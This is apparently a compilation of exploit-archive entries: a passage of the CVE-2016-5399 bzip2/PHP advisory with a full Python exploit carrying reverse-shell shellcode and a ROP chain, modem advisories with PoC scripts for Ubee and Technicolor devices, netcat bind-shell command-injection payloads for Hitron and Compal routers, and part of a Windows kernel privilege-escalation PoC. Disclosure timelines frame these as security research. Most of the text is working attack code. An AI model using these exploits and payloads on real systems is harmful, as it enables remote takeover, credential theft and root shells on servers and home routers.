| 288       if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289       GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290       if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291       for (i = 0; i < nSelectors; i++) {
| 292          j = 0;
| 293          while (True) {
| 294             GET_BIT(BZ_X_SELECTOR_3, uc);
| 295             if (uc == 0) break;
| 296             j++;
| 297             if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298          }
| 299          s->selectorMtf[i] = j;
| 300       }
| 301
| 302       /*--- Undo the MTF values for the selectors. ---*/
| 303       {
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
| 314       }
| 315
| ...
| 613    save_state_and_return:
| 614
| 615    s->save_i           = i;
| 616    s->save_j           = j;
| ...
| 619    s->save_nGroups     = nGroups;
| 620    s->save_nSelectors  = nSelectors;
| ...
| 640    return retVal;
| 641 }
`----

bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu)                          \
| 071    GET_BITS(lll,uuu,1)
`----

bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn)                     \
| 044    case lll: s->state = lll;                      \
| 045    while (True) {                                 \
| ...
| 065    }
`----

If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR.  If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.

In pseudocode it could be read as something like:

,----
| i = s->save_i;
| j = s->save_j;
| 
| switch (s->state) {
| case BZ_X_SELECTOR_2:
|     s->state = BZ_X_SELECTOR_2;
| 
|     nSelectors = get_15_bits...
| 
|     for (i = 0; i < nSelectors; i++) {
|         j = 0;
|         while (True) {
|             goto iter;
| case BZ_X_SELECTOR_3:
| iter:
|     s->state = BZ_X_SELECTOR_3;
| 
|     uc = get_1_bit...
| 
|     if (uc == 0) goto done;
|     j++;
|     if (j >= nGroups) {
|         retVal = BZ_DATA_ERROR;
|         goto save_state_and_return;
|     }
|     goto iter;
| done:
|     s->selectorMtf[i] = j;
`----

An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
|  `´     j++;
| j++;    goto save_state_and_return;
| goto iter;
`----

Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
could occur if BZ2_decompress() is invoked in spite of a previous error.

bzip2-1.0.6/decompress.c
,----
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
`----

bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----


PoC
===

Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo [2]:

,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
| 
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
| 
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
| 
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
| 
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
| 
| cat upload.php
| <?php
| $fp = bzopen($_FILES["file"]["tmp_name"], "r");
| if ($fp === FALSE) {
|     exit("ERROR: bzopen()");
| }
| 
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
| bzclose($fp);
| ?>
`----


Solution
========

This issue has been assigned CVE-2016-5399 and can be mitigated by
calling bzerror() on the handle between invocations of bzip2.

Another partial solution has been introduced in PHP 7.0.9 and 5.5.38,
whereby the stream is marked as EOF when an error is encountered;
allowing this flaw to be avoided by using feof().  However, the PHP
project considers this to be an issue in the underlying bzip2
library[3].



Footnotes
_________

[1] [https://secure.php.net/manual/en/function.bzread.php]

[2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399]

[3] [https://bugs.php.net/bug.php?id=72613]


-- Hans Jerry Illikainen
'''
#!/usr/bin/env python
#
# PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm
# behind nginx.
#
# ,----
# | $ nc -v -l 1.2.3.4 5555 &
# | Listening on [1.2.3.4] (family 0, port 5555)
# |
# | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
# | [*] sending archive to http://target/upload.php (0)
# |
# | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
# | $ fg
# | id
# | uid=80(www) gid=80(www) groups=80(www)
# |
# | uname -imrsU
# | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
# |
# | /usr/sbin/pkg query -g "=> %n-%v" php*
# | => php70-7.0.8
# | => php70-bz2-7.0.8
# |
# | cat upload.php
# | <?php
# | $fp = bzopen($_FILES["file"]["tmp_name"], "r");
# | if ($fp === FALSE) {
# |     exit("ERROR: bzopen()");
# | }
# |
# | $data = "";
# | while (!feof($fp)) {
# |     $res = bzread($fp);
# |     if ($res === FALSE) {
# |         exit("ERROR: bzread()");
# |     }
# |     $data .= $res;
# | }
# | bzclose($fp);
# | ?>
# `----
#
# - Hans Jerry Illikainen <hji@dyntopia.com>
#
import argparse
import socket
from struct import pack

import requests
import bitstring

# reverse shell from metasploit
shellcode = [
    "\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f"
    "\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6"
    "\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10"
    "\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58"
    "\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f"
    "\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52"
    "\x57\x48\x89\xe6\x0f\x05"
]

# we're bound by the MTF and can only reuse values on the stack
# between pos[0]..pos[255]
selectors = [
    # retaddr:
    #   0x8009c9462: lea    rsp,[rbp-0x20]
    #   0x8009c9466: pop    rbx
    #   0x8009c9467: pop    r12
    #   0x8009c9469: pop    r14
    #   0x8009c946b: pop    r15
    #   0x8009c946d: pop    rbp
    #   0x8009c946e: ret
    #
    # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
    9, 10, 11, 18, 1, 88, 31, 127,

    # rbp:
    #   0x802974300 (close to the end of the stream)
    16, 17, 18, 29, 22, 152, 159, 25,

    # push it back
    17, 18, 19, 20, 21, 22, 23, 24,
    25, 26, 27, 28, 29, 30, 31, 32,
    33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48,
    49, 50, 51, 52, 53, 54, 55, 56,
    57, 58, 59, 60, 61, 62
]

payload = [
    # addr
    #
    # 0x41c4c8: pop    rdi
    # 0x41c4c9: ret
    pack("<Q", 0x41c4c8),
    pack("<Q", 0x0802973000),

    # len
    #
    # 0x421508: pop    rsi
    # 0x421509: ret    0x0
    pack("<Q", 0x421508),
    pack("<Q", 0x5555),

    # prot
    #
    # 0x519b3a: pop    rdx
    # 0x519b3b: ret
    pack("<Q", 0x519b3a),
    pack("<Q", 0x7),

    # mprotect
    #
    # 0x5adf50: pop    rax
    # 0x5adf51: ret
    pack("<Q", 0x5adf50),
    pack("<Q", 74),

    # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
    #
    # 0x8009d5168: syscall
    # 0x8009d516a: jb 0x8009d9d00
    # 0x8009d5170: ret
    pack("<Q", 0x08009d5168),
    pack("<Q", 0x08029731b7),

    "%(shellcode)s",

    "%(pad)s",

    # 0x45de9c: pop rsp
    # 0x45de9d: ret
    pack("<Q", 0x45de9c),
    pack("<Q", 0x0802973167),
]


def get_payload(ip, port):
    sc = "".join(shellcode) % {
        "ip": socket.inet_aton(ip),
        "port": pack("!H", port)
    }
    return "".join(payload) % {
        "shellcode": sc,
        "pad": "\x90" * (4433 - len(sc)),
    }


def get_header():
    b = bitstring.BitArray()
    b.append("0x425a")             # magic
    b.append("0x68")               # huffman
    b.append("0x31")               # block size (0x31 <= s <= 0x39)
    b.append("0x314159265359")     # compressed magic
    b.append("0x11223344")         # crc
    b.append("0b0")                # not randomized
    b.append("0x000000")           # pointer into BWT
    b.append("0b0000000000000001") # mapping table 1
    b.append("0b0000000000000001") # mapping table 2
    b.append("0b110")              # number of Huffman groups (1 <= n <= 6)
    b.append(format(len(selectors), "#017b")) # number of selectors

    # selector list
    for s in selectors:
        b.append("0b" + "1" * s + "0")

    # BZ_X_CODING_1 (1 <= n <= 20).  we want a fail to make
    # BZ2_decompress() bail as early as possible into the
    # first gadget since the stack will be kind of messed up
    b.append("0b00000")

    return b.tobytes()


def send_bzip2(url, bzip2):
    try:
        req = requests.post(url, files={"file": bzip2}, timeout=5)
    except requests.exceptions.Timeout:
        return 0
    return req.status_code


def get_args():
    p = argparse.ArgumentParser()
    p.add_argument("--ip", required=True, help="connect-back ip")
    p.add_argument("--port", required=True, type=int, help="connect-back port")
    p.add_argument("--attempts", type=int, default=10)
    p.add_argument("url")
    return p.parse_args()


def main():
    args = get_args()
    bzip2 = get_header() + get_payload(args.ip, args.port)

    for i in range(args.attempts):
        print("[*] sending archive to %s (%d)" % (args.url, i))
        status = send_bzip2(args.url, bzip2)
        if status == 0:
            break
        elif status == 404:
            exit("[-] 404: %s" % args.url)

if __name__ == "__main__":
    main()
            
'''
Ubee EVW3226 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Ubee EVW3226, 1.0.20
- Product page: http://www.ubeeinteractive.com/products/cable/evw3226

Vulnerabilities
---------------
Insecure session management

The web interface does not use cookies at all. If admin login is
successful, the IP address of the admin user is stored and everybody can
access the management interface with the same IP.

Local file inclusion

Setup.cgi can read any file with .htm extension using directory
traversal in the gonext parameter. Although the file must have htm
extension, the local file inclusion can be used to map directories,
because the response is different depending on whether directory exists
or not.

POC:

http://<device_ip>/cgi-bin/setup.cgi?gonext=../www/main2

Backup file is not encrypted

Although the web interface requires a password for encrypting the backup
file, the encryption is not performed. In order to backup file password,
the plain password is stored in the backup file, which is a standard tgz
(gzipped tar) file with a simple header.

Backup file disclosure

When a user requests a backup file, the file is copied into www root in
order to make download possible. However, the backup file is not removed
from the www root after download. Since there is not any session check
required to download the backup file, an attacker is able to download it
without authentication from LAN until the next reboot.
Since the backup file is not encrypted and contains the plain admin
password, the router can be compromised from LAN.

POC:

http://<device_ip>/Configuration_file.cfg

Authentication bypass (backdoor)

The web interface bypasses authentication if the HTML request contains
the factoryBypass parameter. In this case a valid session is created and
the attacker can gain full control over the device.

POC:

http://<device_ip>/cgi-bin/setup.cgi?factoryBypass=1

Arbitrary code execution

The configuration file restore function receives a compressed tar file,
which is extracted to the /tmp folder. Tar files may contain symbolic
links, which can link out from the extraction folder. By creating a
configuration file with a symbolic link and a folder which uses this
link, the attacker can write out from the backup folder and can
overwrite any file in the writable file-system.
Since www is copied to the writable file system at boot time (under
/tmp), the attacker can insert a new cgi script that executes arbitrary
code with root privileges.

Default SSID and passphrase can be calculated

The default SSID and passphrase are derived only from the MAC address.
Since the MAC address of the device is broadcasted via WiFi, the default
password can be calculated easily.
Combined with code execution and factory bypass, even a botnet of Ubee
routers can be deployed easily.

Buffer overflow in configuration restore

During the configuration restore process, the backup file password is
read from the pass.txt file. If the password is large enough (larger
than 65536), a stack based buffer overflow is caused, because the file
content is loaded with fscanf(“%s”) to a stack based local variable. The
stack based buffer overflow can be used to execute arbitrary code with
root privileges.

Buffer overflow in configuration file request

The web interface identifies the configuration file download request by
checking that the URL contains the Configuration_file.cfg string. If
this string is found, the whole URL is copied into a stack based buffer,
which can cause a buffer overflow. This stack based buffer overflow can
be used to execute arbitrary code with root privileges without
authentication.

POC:

http://192.168.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaConfiguration_file.cfg

Buffer overflow in next file name

The gonext variable in the POST requests specifies the HTML file, which
the cgi script should be loaded. If the gonext variable is large enough
(larger than 6512 bytes), a stack based buffer overflow is caused, which
can be used to execute arbitrary code with root privileges without
authentication.

Communication on the UPC Wi-Free can be sniffed within the device

The UPC Wi-Free communication is not separated correctly inside the
device, because the whole communication can be sniffed after gaining
root access to the device.

Timeline
--------
- 2015.06.24: Presenting the Ubee router problems to the CTO of UPC Magyarorszag
- 2015.07.16: UPC contacted Ubee and required some more proof about some specific problems
- 2015.07.16: Proofs, that the default passphrase calculation of the Ubee router was broken, were sent to UPC
- 2015.07.20: UPC requested the POC code
- 2015.07.21: POC code was sent to UPC
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2015.09.16: Ubee Interactive also asked some questions about the vulnerabilities
- 2015.09.24: We sent detailed answers to Ubee Interactive
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [3]:

- Authentication bypass
- Unauthenticated backup file access
- Backup file password disclosure
- Code execution

Video demonstration is also available [1], which presents the above problems and how these can be combined to obtain full access to the modem.

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://youtu.be/cBclw7uUuO4
[3] https://github.com/ebux/Cable-modems/tree/master/Ubee
'''
#
# POC code for Ubee EVW3226
#
# Demonstrates the following vulnerabilities
#  - Authentication bypass
#  - Unauthenticated backup file access
#  - Backup file password disclosure
#  - Code execution
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import tarfile
import struct
import binascii
import re
import shutil

config_data = binascii.unhexlify('00003226FFA486BE000001151F8B0808EB7D4D570400706F635F636F6E666967'
                                 '2E74617200EDD53D4FC3301006E09BF32BDC30A78E9D3816AC8811898185D104'
                                 '8B4404C7CA1DA4FC7B121A900A0296A66A153FCBF96BB15F9D8C0DCC2E1D68AD'
                                 '87FA61A7EE8E65AEB48254C86C38CE247F351DA767CFFBBEE7308F1724D33106'
                                 '5DDBD21FC7FEDD3F51DE20AE6933EBD5C6648B3CFF3D7F21BEE52F649E014BE1'
                                 '00169EFFD5F5CDED9DC88A730896081B5E3ED6C97DED3859A43556B077DBF667'
                                 '3FD6BFDA5F291052CB4CEA421502C6DF221707EEFF853A5BF1317BAC225B562D'
                                 'BB6C1D594709BD797BC1C86E88FBC6D46EBB1BC753AD4CF9641F1836AB389A96'
                                 '3C8A38F2F83975968687A5389A062C712682200882E058BC0383AF448C000E0000')

class ubee:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def authenticationBypass(self):
        self.s.get(self.getUri('cgi-bin/setup.cgi?factoryBypass=1'))
        self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=main2'))

    def parseNVRam(self, nv):
        o = 0x1c
        pos = 2
        nvdata = {}
        while(True):
            stype = struct.unpack('!H', nv[o:o+2])[0]
            slen = struct.unpack('!H', nv[o+2:o+4])[0]
            sval = nv[o+4:o+4+slen]
            nvdata[stype] = sval
            pos += slen
            o = o+slen+4
            if (o >= len(nv) ):
                break
        return nvdata

    def parseBackupFile(self, fname):
        tar = tarfile.open("Configuration_file.cfg", "r:gz")
        for tarinfo in tar:
            if tarinfo.isreg():
                if (tarinfo.name == 'pass.txt'):
                    print 'config file password: %s'%(tar.extractfile(tarinfo).read())
                elif (tarinfo.name == '1'):
                    nvdata = self.parseNVRam(tar.extractfile(tarinfo).read())
                    print 'admin password: %s'%(nvdata[3])
        tar.close()

    def saveBackup(self, r, fname):
        if r.status_code == 200:
            resp = ''
            for chunk in r:
                resp += chunk
            open(fname, 'wb').write(resp[0xc:])

    def createBackupFile(self, fname):
        # get validcode (CSRF token)
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryBackup'))
        m = re.search('ValidCode = "([^"]+)"', r.text)
        if (m == None):
            print 'ValidCode is not found'
            return
        validCode = m.group(1)

        # create backup file
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=secretpass&ValidCode=%s')%(validCode))
        if (len(r.text) > 0):
            self.saveBackup(r, fname)

    def downloadBackupFile(self, fname):
        r = self.s.get(self.getUri('Configuration_file.cfg'))
        if (len(r.text) > 0):
            print len(r.text)
            self.saveBackup(r, fname)
            return True
        return False

    def restoreConfigFile(self, fname = '', passwd = 'badpasswd'):
        # get validcode (CSRF token)
        r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryRestore'))
        m = re.search('name="ValidCode" value="([^"]+)"', r.text)
        if (m == None):
            print 'ValidCode is not found'
            return
        validCode = m.group(1)

        # restore config file
        if (fname == ''):
            cfg_data = config_data
        else:
            cfg_data = open(fname, 'rb').read()
        r = self.s.post(self.getUri('cgi-bin/restore.cgi'), files=(('ValidCode', (None, validCode)), ('PasswordStr', (None, passwd)), ('browse', cfg_data), ('file_name', (None, 'Configuration_file.cfg'))))
        if (r.text.find('alert("Password Failure!")') > 0):
            return True
        else:
            return False

    def getShellResponse(self):
        r = self.s.get(self.getUri('cgi-bin/test.sh'))
        print r.text

#------------------------------------

if (len(sys.argv) < 2):
    print 'ubee_evw3226_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create ubee object
u = ubee(addr, port)

# perform authentication bypass
u.authenticationBypass()
# download backup file if it is exists (auth is not required)
if (not u.downloadBackupFile('Configuration_file.cfg')):
    # create and download backup file (auth required)
    u.createBackupFile('Configuration_file.cfg')
# parse downloaded file and get admin and backup file password
u.parseBackupFile('Configuration_file.cfg')
# execute shell command in the router
if (u.restoreConfigFile()):
    print 'Shell installed'
    u.getShellResponse()
else:
    print 'Shell install failed'
            
'''
Technicolor TC7200 modem/router multiple vulnerabilities
--------------------------------------------------------

Platforms / Firmware confirmed affected:
- Technicolor TC7200, STD6.02.11
- Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300

Vulnerabilities
---------------
Insecure session management

The web interface does not use cookies at all and does not check the IP
address of the client. If admin login is successful, every user from the
LAN can access the management interface.

Backup file encryption uses fix password

Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
AES. However, the encrypted backup file remains accessible without
authentication and if the password is not set in the web interface a
default password is used. So, if an attacker accesses the backup file
without authentication, the password cannot be set, and the backup file
can be decrypted.

Timeline
--------

- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [2]:
- Unauthenticated backup file access
- Backup file decryption

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor
'''
#
# POC code for Technicolor TC7200
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated backup file access
#  - Backup file decryption
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import struct
import binascii
from Crypto.Cipher import AES

class technicolor:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def downloadBackupFile(self):
        r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
        resp = ''
        for chunk in r:
            resp += chunk
        return resp

    def parseBackup(self, backup):
        p = backup.find('MLog')
        if (p > 0):
            p += 6
            nh = struct.unpack('!H',backup[p:p+2])[0]
            name = backup[p+2:p+2+nh]
            p += 2+nh
            ph = struct.unpack('!H',backup[p:p+2])[0]
            pwd = backup[p+2:p+2+nh]
            return (name,pwd)
        return ('','')

    def decryptBackup(self, backup):
        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
        l = (len(backup)/16)*16
        cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
        plain = cipher.decrypt(backup[0:l])
        return plain


#------------------------------------

if (len(sys.argv) < 2):
    print 'technicolor_tc7200_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create technicolor object
t = technicolor(addr, port)

backup = t.downloadBackupFile()
if (len(backup) > 0):
    open('test.enc', 'wb').write(backup)
    plain = t.decryptBackup(backup)
    open('test.dec', 'wb').write(plain)

    (name, pwd) = t.parseBackup(plain)
    if (name != ''):
        print 'admin name: %s, pwd: %s'%(name,pwd)
            
Hitron CGNV4 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Hitron CGNV4, 4.3.9.9-SIP-UPC
- Product page: http://www.hitrontech.com/en/cable_detail.php?id=62

Vulnerabilities
---------------
Insecure session management

The web interface uses insecure cookies, which can be brute-forced
easily (e.g cookie: userid=0). If admin login is successful, the IP
address of the admin user is stored and everybody can access the
management interface with the same IP.

Missing CSRF protection

The web interface is not used any CSRF protection. In case of a valid
session exists, the attacker can modify any settings of the router. If
the default admin password was not changed, the attacker can perform a
login also and modify any settings after it.

Authenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because the parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device: 

“google.com;nc -l -p 1337 -e /bin/sh;echo”.

Disclaimer
----------
We found these vulnerabilities within a very short time range (3 hours),
and we did not check a lot of areas such as:
- Command injections in other modules
- Buffer overflows
- User authentication
- Default SSID and passphrase
- Analysis of the backup file
- Device configuration (such as SNMP)

Timeline
--------
- 2015.10.16: Vulnerabilities found in the Hitron CGNV4 were reported to UPC Magyarorszag and Liberty Global
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should
install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
            
Compal CH7465LG-LC modem/router multiple vulnerabilities
--------------------------------------------------------

The following vulnerabilities are the result of a quick check (~3 hours)
of the Mercury modem. We performed a systematic and deeper evaluation of
this device also, which result will be described in a separate report [2] and advisory.

Platforms / Firmware confirmed affected:
- Compal CH7465LG-LC, CH7465LG-NCIP-4.50.18.13-NOSH

Vulnerabilities
---------------
Insecure session management

The web interface uses cookies, but is not verified. Thus, if admin
login is successful, the IP address and the browser type of the admin
user are stored and everybody can access the management interface with
the same IP and the same user-agent.

Information leakage

Some information requests can be performed without authentication. For
example an attacker can obtain the following information pieces:
-    Global settings (SW version, vendor name, etc.)
-    CSRF token
-    Event log
-    LAN user table
-    Ping response

Unauthenticated deny of service attack

Factory reset can be initiated without authentication with a simple POST
request to the getter.xml.

Unauthenticated configuration changes
Some settings modification can be performed without authentication, for
example the first install flag and the ping command.

Unauthenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device:

“token=<csrf_token>&fun=126&Type=0&Target_IP=127.0.0.1&Ping_Size=64;nc
-l -p 1337 -e /bin/sh;&Num_Ping=3&Ping_Interval=1”

Timeline
--------
- 2015.10.21: SEARCH-LAB received two sample boxes from the Compal Mercury devices from UPC Magyarorszag
- 2015.10.21: Within three hours we reported a remotely exploitable vulnerability on the device
- 2015.10.21: Liberty Global asked for a commercial proposal on executing an overall security evaluation of the Compal device.
- 2015.10.24: A proposal was sent to Liberty Global.
- 2015.11.09: Liberty Global asked to execute the evaluation as a pilot project without financial compensation.
- 2015.12.07: End Use Certificate for Dual-Use Items was asked from Liberty Global as the developer of the device is located in China.
- 2016.01.07: The 99-page-long Evaluation Report on Compal Mercury modem was sent to Liberty Global with the restriction that they are not allowed to forward it outside of the European Union until a signed End Use Certificate is received.
- 2016.01.07: First reaction to the report said: “Bloody hell, that is not a small document ;)”
- 2016.01.11: Liberty Global sent the signed End Use Certificate for Dual-Use Items to SEARCH-LAB
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] http://www.search-lab.hu/media/Compal_CH7465LG_Evaluation_Report_1.1.pdf
            
/*
    CVE-2013-1406 exploitation PoC
    by Artem Shishkin,
    Positive Research,
    Positive Technologies,
    02-2013
*/

void __stdcall FireShell(DWORD dwSomeParam)
{
    EscalatePrivileges(hProcessToElevate);
    // Equate the stack and quit the cycle
#ifndef _AMD64_
    __asm
    {
        pop ebx
        pop edi
        push 0xFFFFFFF8
        push 0xA010043
    }
#endif
}


HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
    HANDLE            hResult = 0;
    DWORD            dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
        {
            hResult = pHandleTable->Handles[i].HandleValue;
            break;
        }
    }

    return hResult;
}

PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    PVOID    pResult = 0;
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pResult = (HANDLE)pHandleTable->Handles[i].Object;
            break;
        }
    }

    return pResult;
}

void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
